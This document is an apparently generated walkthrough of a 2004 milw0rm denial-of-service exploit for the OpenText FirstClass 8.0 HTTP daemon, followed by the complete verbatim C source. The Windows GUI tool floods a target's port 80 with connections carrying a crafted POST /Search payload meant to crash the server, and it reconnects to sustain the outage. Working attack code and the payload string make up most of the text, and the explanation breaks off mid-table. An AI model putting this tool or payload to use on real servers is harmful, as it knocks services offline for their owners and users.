OpenText FirstClass 8.0 HTTP Daemon /Search Remote Denial of Service Exploit Analysis

What this paper is

This paper describes a Denial of Service (DoS) vulnerability in the HTTP daemon of OpenText FirstClass version 8.0. The vulnerability allows an attacker to crash the service by sending a specially crafted HTTP POST request to the /Search endpoint. The exploit code provided is a Windows GUI application that automates the process of sending these malicious requests.

Simple technical breakdown

The core of the vulnerability lies in how the FirstClass HTTP daemon handles a specific POST request to its /Search functionality. When the server receives a request with a particular structure and a large, malformed Content-Length value (291 in this case), it attempts to process it. The exploit sends a POST request with a Content-Length of 291, but the actual data sent is a long string of parameters, including a specific value +-- which seems to trigger an unhandled exception or resource exhaustion within the server's search handler. This leads to the HTTP daemon process crashing, making the service unavailable.

The provided C code is a Windows application that:

1. Initializes the Winsock library for network communication.
2. Presents a simple GUI with fields for the target IP address/hostname and the number of sockets to use.
3. When the "Start DoS" button (IDOK) is clicked:
   • It resolves the target hostname.
   • It allocates memory for a specified number of sockets.
   • It then enters a loop, asynchronously creating multiple TCP connections to the target server on port 80.
   • For each established connection, it sends the crafted malicious HTTP POST request.
   • The application uses WSAAsyncSelect to handle network events asynchronously, allowing the GUI to remain responsive.
4. When the "Halt" button (IDHALT) is clicked, it attempts to close all established sockets and stop the DoS.

Complete code and payload walkthrough

The provided C code is a Windows GUI application. Let's break down its components.

Resource Definitions (from resource.h comments):
These are standard Windows resource identifiers for dialog boxes, icons, and controls.

• IDD_MAIN: Identifier for the main dialog box.
• IDI_MAIN: Identifier for the main application icon.
• IDC_SERV: Identifier for an edit control (likely for the server hostname/IP).
• IDC_SOCKS: Identifier for an edit control (likely for the number of sockets).
• IDHALT: Identifier for a button (likely the "Halt" or "Stop" button).

Includes and Definitions:

#define WIN32_LEAN_AND_MEAN
#include "windows.h" // Core Windows API functions
#include <winsock2.h> // Windows Sockets API (for network programming)
#include <stdio.h>    // Standard input/output functions
#include <stdlib.h>   // Standard library functions (like realloc)

#define WM_WSAASYNC (WM_USER +5) // Custom Windows message for Winsock asynchronous events

• WIN32_LEAN_AND_MEAN: A preprocessor directive that tells the Windows header files to exclude certain less commonly used APIs, potentially reducing compile times.
• windows.h: Provides access to the Windows API.
• winsock2.h: Essential for network programming in Windows, defining socket functions, structures, and constants.
• stdio.h and stdlib.h: Standard C library functions.
• WM_WSAASYNC: A custom message ID used to receive notifications from Winsock when asynchronous operations complete.

Function Prototypes:

BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam); // Dialog Procedure function
int startupClient(HWND hDlg);                                         // Function to initialize and connect a client socket
void StopDoS();                                                       // Function to close all sockets
void EnableDoSButton(HWND hDlg);                                      // Function to enable DoS-related GUI buttons
void DisableDoSButton(HWND hDlg);                                     // Function to disable DoS-related GUI buttons

These declare the functions used in the application. DlgProc is the standard callback function for Windows dialog boxes.

Global Variables:

struct hostent *host_entry; // Structure to hold host information
struct sockaddr_in server;  // Structure to hold server address information

WSAData wsaData;            // Structure to receive details from WSAStartup
char *request="POST /Search HTTP/1.1\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\nAccept-Language: en-us\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\nContent-Length: 291\nConnection: Keep-Alive\nCache-Control: no-cache\n\nCharSet=ISO-8859-1&FieldID%3A1211.0%3DLONG=0&FieldID%3A1202%3DSTRING=&FieldID%3A1208%3DCHECKBOX=on&FieldID%3A1206%3DCHECKBOX=on&FieldID%3A1204%3DCHECKBOX=on&FieldID%3A1207%3DCHECKBOX=on&FieldID%3A1205%3DCHECKBOX=on&FieldID%3A1209%3DCHECKBOX=on&FieldID%3A1212%3DCHECKBOX=on&Input%3A1211.0=+--\n\n";
char target[101];           // Buffer to store the target hostname/IP
__int64 timer;              // Timer for sustained DoS (though not fully utilized in the initial phase)
int *mySocket, sockets=256, isDoS=0, sustain=0, count=0; // Socket array, number of sockets, DoS state flags

• host_entry: Stores DNS resolution results.
• server: Stores the target server's IP address and port.
• wsaData: Used by WSAStartup.
• request: This is the malicious HTTP request payload.
  • POST /Search HTTP/1.1: Specifies the HTTP method, the target URI (/Search), and the HTTP version.
  • Standard HTTP headers like Accept, Accept-Language, Content-Type, Accept-Encoding, Connection, Cache-Control are included.
  • Content-Length: 291: This is a crucial header. It tells the server how many bytes of data are in the request body.
  • The body starts after the double newline (\n\n).
  • CharSet=ISO-8859-1&...&Input%3A1211.0=+--: This is the form-encoded data. The value +-- for Input%3A1211.0 is likely the specific input that triggers the vulnerability. The Content-Length of 291 is critical, and the actual data sent must match this length for the exploit to work as intended.
• target: Stores the hostname or IP address of the victim.
• timer: Used for timing operations, particularly in the sustain mode.
• mySocket: A pointer to an array of integers, where each integer will represent a socket descriptor.
• sockets: The maximum number of sockets to create (defaulting to 256).
• isDoS: A flag indicating if the initial DoS phase is active.
• sustain: A flag indicating if the DoS should be sustained (though the logic for this is a bit incomplete/buggy in the provided code).
• count: A counter for the number of sockets currently being processed or created.

WinMain Function:

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL, (DLGPROC)DlgProc, 0);
	return 0;
}

• This is the entry point for a Windows GUI application.
• DialogBoxParam: Creates and displays a modal dialog box specified by IDD_MAIN, using DlgProc as its message handler.

DlgProc Function (Message Handler):

BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch(uMsg)
	{
		case WM_INITDIALOG: // When the dialog box is first created
			// ... Winsock initialization and GUI setup ...
			return(false); // Indicate that we have processed the message

		case WM_COMMAND: // When a command is received (e.g., button click)
			if(wParam==IDOK) // "Start DoS" button clicked
			{
				// ... Disable buttons, get target and sockets, validate input ...
				// ... Resolve target, set up server address structure ...
				// ... Reallocate memory for sockets, initialize sockets array ...
				// ... Set isDoS flag and post a custom message to start the async process ...
				return(false);
			}else if(wParam==IDHALT) // "Halt" button clicked
			{
				// ... Reset state flags, call StopDoS, enable buttons ...
				return(false);
			}
			return(false); // Default handling for other commands

		case WM_CLOSE: // When the dialog box is closed
			WSACleanup(); // Clean up Winsock
			DestroyWindow(hDlg); // Destroy the dialog window
			return(true); // Indicate that we have processed the message

		case WM_WSAASYNC: // Custom message for Winsock asynchronous events
			if(isDoS) // If in the initial DoS phase
			{
				// ... Create a new client socket, increment count ...
				// ... If all sockets are created, switch to sustain mode and post HALT ...
			}else if(sustain==1) // If in sustain mode
			{
				// ... Periodically create new sockets if timer has elapsed ...
			}

			if(WSAGETSELECTEVENT(lParam)==FD_CONNECT) // If a connection attempt succeeded
			{
				send(wParam, request, strlen(request), 0); // Send the malicious request
			}else if(WSAGETSELECTEVENT(lParam)==FD_CLOSE) // If a connection was closed
			{
				// ... If in DoS or sustain mode, close the socket and try to restart it ...
			}
			return(false); // Indicate that we have processed the message
	}
	return(false); // Default handling for unhandled messages
}

• WM_INITDIALOG:
  • WSAStartup(MAKEWORD(2, 2), &wsaData): Initializes the Winsock library, requesting version 2.2. If this fails, it shows an error message and closes the application.
  • EnableDoSButton(hDlg): Calls a helper function to set the initial state of GUI buttons (enabling the "Start DoS" button, disabling others).
  • SetDlgItemText(hDlg, IDC_SERV, "");: Clears the target input field.
  • SetDlgItemInt(hDlg, IDC_SOCKS, 256, 0);: Sets the default number of sockets to 256.
• WM_COMMAND:
  • IDOK (Start DoS):
    • Disables the "Start DoS" button and enables the "Halt" button.
    • Retrieves the target hostname/IP from IDC_SERV into the target buffer.
    • Retrieves the number of sockets from IDC_SOCKS into the sockets variable.
    • Performs basic validation: sockets must be at least 2, target must not be empty, and gethostbyname(target) must succeed (DNS resolution). If validation fails, it shows an error and re-enables the "Start DoS" button.
    • If validation passes:
      • DisableDoSButton(hDlg): Further disables input controls.
      • host_entry = gethostbyname(target);: Resolves the target's IP address.
      • server.sin_family = AF_INET;: Sets the address family to IPv4.
      • server.sin_port = htons(80);: Sets the destination port to 80 (HTTP).
      • server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;: Copies the resolved IP address into the server structure.
      • mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);: Dynamically allocates memory for the array of socket descriptors. It attempts realloc twice if the first fails, which is a bit unusual but aims to ensure allocation. If it fails, it shows an error.
      • memset(mySocket, 0, sizeof(mySocket));: Initializes the allocated memory to zeros.
      • isDoS=1;: Sets the isDoS flag to true, indicating the DoS process is starting.
      • PostMessage(hDlg, WM_WSAASYNC, 0, 0);: Posts a custom WM_WSAASYNC message to the dialog's message queue. This is the trigger to start creating the first client socket asynchronously.
  • IDHALT (Halt DoS):
    • Resets sustain, count, and isDoS flags to 0.
    • Calls StopDoS() to close all active sockets.
    • Re-enables the "Start DoS" button.
    • Displays an informational message.
    • Calls StopDoS() again (redundant but harmless).
• WM_CLOSE:
  • WSACleanup(): Releases Winsock resources.
  • DestroyWindow(hDlg): Closes the dialog box.
• WM_WSAASYNC: This is the core of the asynchronous network handling.
  • If isDoS is true (initial phase):
    • mySocket[count] = startupClient(hDlg);: Calls startupClient to create a new socket, attempt connection, and associate it with asynchronous events. The returned socket descriptor (or 0 on failure) is stored.
    • Updates the IDC_SOCKS display to show remaining sockets to create.
    • Increments count.
    • If count reaches sockets, it means all initial sockets have been initiated. It resets count, sets isDoS to 0, sets sustain to 1, enables the "Halt" button, and posts a WM_COMMAND message with IDHALT to gracefully shut down the initial phase and potentially transition to sustain mode.
  • If sustain is true (sustained DoS):
    • Checks if GetTickCount() is greater than timer (meaning 1 second has passed since the last check).
    • If the timer has elapsed, it iterates through mySocket to find a closed socket (value 0) and calls startupClient to create a new one, effectively replacing any closed connections.
    • Resets timer for the next second.
  • Event Handling within WM_WSAASYNC:
    • if(WSAGETSELECTEVENT(lParam)==FD_CONNECT): If the FD_CONNECT event occurred for a socket (wParam is the socket descriptor):
      • send(wParam, request, strlen(request), 0);: Sends the malicious request payload over the newly connected socket.
    • else if(WSAGETSELECTEVENT(lParam)==FD_CLOSE): If the FD_CLOSE event occurred for a socket:
      • It finds the index of the closed socket in the mySocket array.
      • closesocket(wParam);: Explicitly closes the socket (though FD_CLOSE implies it's already closed).
      • mySocket[icount] = startupClient(hDlg);: Crucially, it immediately tries to re-establish a connection by calling startupClient again for that socket slot. This is how it attempts to maintain a high number of connections.

startupClient Function:

int startupClient(HWND hDlg) {
	int tmpSocket = socket(AF_INET, SOCK_STREAM, 0); // Create a TCP socket
	if (tmpSocket == SOCKET_ERROR) return 0; // Return 0 if socket creation fails

	// Associate socket with the dialog window for asynchronous notifications
	WSAAsyncSelect(tmpSocket, hDlg, WM_WSAASYNC, FD_CONNECT|FD_CLOSE);

	// Attempt to connect to the server
	int error = connect(tmpSocket, (sockaddr*)&server, sizeof(server));
	if(error) tmpSocket=0; // If connect fails (returns non-zero), set tmpSocket to 0

	return tmpSocket; // Return the socket descriptor (or 0 if connect failed)
}

• Creates a TCP socket (SOCK_STREAM).
• Uses WSAAsyncSelect to tell Winsock to send WM_WSAASYNC messages to the hDlg window for FD_CONNECT (connection established or failed) and FD_CLOSE (connection closed) events.
• Attempts to connect to the server address.
• If connect returns an error (non-zero), it sets tmpSocket to 0, indicating a connection failure. Otherwise, it returns the valid socket descriptor.

StopDoS Function:

void StopDoS()
{
	int hcount;
	for(hcount=0; hcount<sockets+1; hcount++) closesocket(mySocket[hcount]); // Close all sockets in the array
}

• Iterates through the mySocket array (up to sockets + 1, which is slightly off by one but likely harmless if mySocket was allocated for sockets elements) and calls closesocket on each valid socket descriptor.

GUI Helper Functions:

• EnableDoSButton(HWND hDlg): Enables the "Start DoS", "Target", and "Sockets" controls, and disables the "Halt" button.
• DisableDoSButton(HWND hDlg): Disables the "Start DoS", "Target", and "Sockets" controls, and enables the "Halt" button.

Code Fragment/Block -> Practical Purpose Mapping:

| Code Fragment/Block

Original Exploit-DB Content (Verbatim)

/*
   http://secunia.com/advisories/13415
   written by dila
   released on 11.12.04
   compile with ms vc++
   remember to link with winsock
*/

#define WIN32_LEAN_AND_MEAN 
#include "windows.h"
#define IDD_MAIN                        101
#define IDI_MAIN                        103
#define IDC_SERV                        1000
#define IDC_SOCKS                       1002
#define IDHALT                          1004

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        104
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1005
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif // Combined resource.h - milw0rm.com
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>

#define WM_WSAASYNC (WM_USER +5)

BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
int startupClient(HWND hDlg);
void StopDoS();
void EnableDoSButton(HWND hDlg);
void DisableDoSButton(HWND hDlg);

struct hostent *host_entry;
struct sockaddr_in server;

WSAData wsaData;
char *request="POST /Search HTTP/1.1\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\nAccept-Language: en-us\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\nContent-Length: 291\nConnection: Keep-Alive\nCache-Control: no-cache\n\nCharSet=ISO-8859-1&FieldID%3A1211.0%3DLONG=0&FieldID%3A1202%3DSTRING=&FieldID%3A1208%3DCHECKBOX=on&FieldID%3A1206%3DCHECKBOX=on&FieldID%3A1204%3DCHECKBOX=on&FieldID%3A1207%3DCHECKBOX=on&FieldID%3A1205%3DCHECKBOX=on&FieldID%3A1209%3DCHECKBOX=on&FieldID%3A1212%3DCHECKBOX=on&Input%3A1211.0=+--\n\n";
char target[101];
__int64 timer;
int *mySocket, sockets=256, isDoS=0, sustain=0, count=0;

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL, (DLGPROC)DlgProc, 0);
	return 0; 
}

BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch(uMsg)
	{
		case WM_INITDIALOG:
			int error;
			if ((error = WSAStartup(MAKEWORD(2, 2), &wsaData)) == SOCKET_ERROR){ MessageBox(hDlg, "Could not initialize winsock! Try looking for a winsock update.", "Fatal Error", MB_OK|MB_ICONSTOP); SendMessage(hDlg, WM_CLOSE, 0, 0); }
			EnableDoSButton(hDlg);
			SetDlgItemText(hDlg, IDC_SERV, "");
			SetDlgItemInt(hDlg, IDC_SOCKS, 256, 0);
			return(false);
		case WM_COMMAND:
			if(wParam==IDOK)
			{
				DisableDoSButton(hDlg);
				EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
				GetDlgItemText(hDlg, IDC_SERV, target, 100);
				sockets = GetDlgItemInt(hDlg, IDC_SOCKS, 0, 0);
				if(sockets<2){
					MessageBox(hDlg, "You need more sockets to cause a DoS!", "User Error", MB_OK|MB_ICONWARNING);
					EnableDoSButton(hDlg);
				}else if(strlen(target)<1){
					MessageBox(hDlg, "You need to specify a target!", "User Error", MB_OK|MB_ICONWARNING);
					EnableDoSButton(hDlg);
			}else if(!gethostbyname(target)){
					MessageBox(hDlg, "Unable to resolve target!", "DNS Error", MB_OK|MB_ICONWARNING);
					EnableDoSButton(hDlg);
				}else
				{
					DisableDoSButton(hDlg);
					host_entry = gethostbyname(target);
					server.sin_family = AF_INET;
					server.sin_port = htons(80);
					server.sin_addr.s_addr = *(unsigned long*) host_entry->h_addr;
					mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
					if(mySocket==NULL){
						mySocket = (int*)realloc(mySocket, sizeof(int)*sockets);
						if(mySocket==NULL){
							SetFocus(hDlg);
							MessageBox(hDlg, "Too many sockets and not enough memory.", "Memory allocation failed!", MB_OK|MB_ICONWARNING);
							EnableDoSButton(hDlg);
						}
					}else{
						memset(mySocket, 0, sizeof(mySocket));
						isDoS=1;
						PostMessage(hDlg, WM_WSAASYNC, 0, 0);
					}
				}
			}else if(wParam==IDHALT)
			{
				sustain=0;
				count=0;
				isDoS=0;
				StopDoS();
				EnableDoSButton(hDlg);
				SetFocus(hDlg);
				StopDoS();
				MessageBox(hDlg, "All sockets have been shutdown!", "Information", MB_OK|MB_ICONINFORMATION);
			}
			return(false);
		case WM_CLOSE:
			WSACleanup();
			DestroyWindow(hDlg);
			return(true);
		case WM_WSAASYNC:
			if(isDoS)
			{
				mySocket[count] = startupClient(hDlg);
				SetDlgItemInt(hDlg, IDC_SOCKS, sockets-count, 0);
				if(count<sockets) count++;
				else{
					count=0;
					isDoS=0;
					sustain=1;
					EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
					SetFocus(hDlg);
					MessageBox(hDlg, "DoS in progress! Click OK to release sockets.", "Information", MB_OK|MB_ICONINFORMATION);
					PostMessage(hDlg, WM_COMMAND, IDHALT, 0);
				}
			}else if(sustain==1)
			{
				if(GetTickCount()>timer)
				{
					int fcount;
					for(fcount=0; fcount<sockets+1; fcount++) if(mySocket[fcount]==0) break;
					if(fcount==sockets && mySocket[fcount]!=0)
					{
						MessageBox(hDlg, "all sockets where disconnected!", "DEBUG", MB_OK);
					}else{
						mySocket[fcount] = startupClient(hDlg);
					}
					timer=GetTickCount()+1000;
				}
			}
			if(WSAGETSELECTEVENT(lParam)==FD_CONNECT)
			{
				send(wParam, request, strlen(request), 0);
			}else if(WSAGETSELECTEVENT(lParam)==FD_CLOSE)
			{
				if(isDoS)
				{
					int icount;
					for(icount=0; icount<sockets+1; icount++) if((unsigned int)mySocket[icount]==wParam) break;
					closesocket(wParam);
					mySocket[icount] = startupClient(hDlg);
				}else if(sustain)
				{
					int icount;
					for(icount=0; icount<sockets+1; icount++) if((unsigned int)mySocket[icount]==wParam) break;
					closesocket(wParam);
					mySocket[icount] = startupClient(hDlg);
				}
			}
	}
	return(false);
}

int startupClient(HWND hDlg) {
	int tmpSocket = socket(AF_INET, SOCK_STREAM, 0);
	if (tmpSocket == SOCKET_ERROR) return 0;
	WSAAsyncSelect(tmpSocket, hDlg, WM_WSAASYNC, FD_CONNECT|FD_CLOSE);
	int error = connect(tmpSocket, (sockaddr*)&server, sizeof(server));
	if(error) tmpSocket=0;
	return tmpSocket;
}

void StopDoS()
{
	int hcount;
	for(hcount=0; hcount<sockets+1; hcount++) closesocket(mySocket[hcount]);
}

void EnableDoSButton(HWND hDlg)
{
	EnableWindow(GetDlgItem(hDlg, IDHALT), 0);
	EnableWindow(GetDlgItem(hDlg, IDC_SERV), 1);
	EnableWindow(GetDlgItem(hDlg, IDC_SOCKS), 1);
	EnableWindow(GetDlgItem(hDlg, IDOK), 1);
}

void DisableDoSButton(HWND hDlg)
{
	EnableWindow(GetDlgItem(hDlg, IDOK), 0);
	EnableWindow(GetDlgItem(hDlg, IDC_SERV), 0);
	EnableWindow(GetDlgItem(hDlg, IDC_SOCKS), 0);
	EnableWindow(GetDlgItem(hDlg, IDHALT), 1);
}

// milw0rm.com [2004-12-15]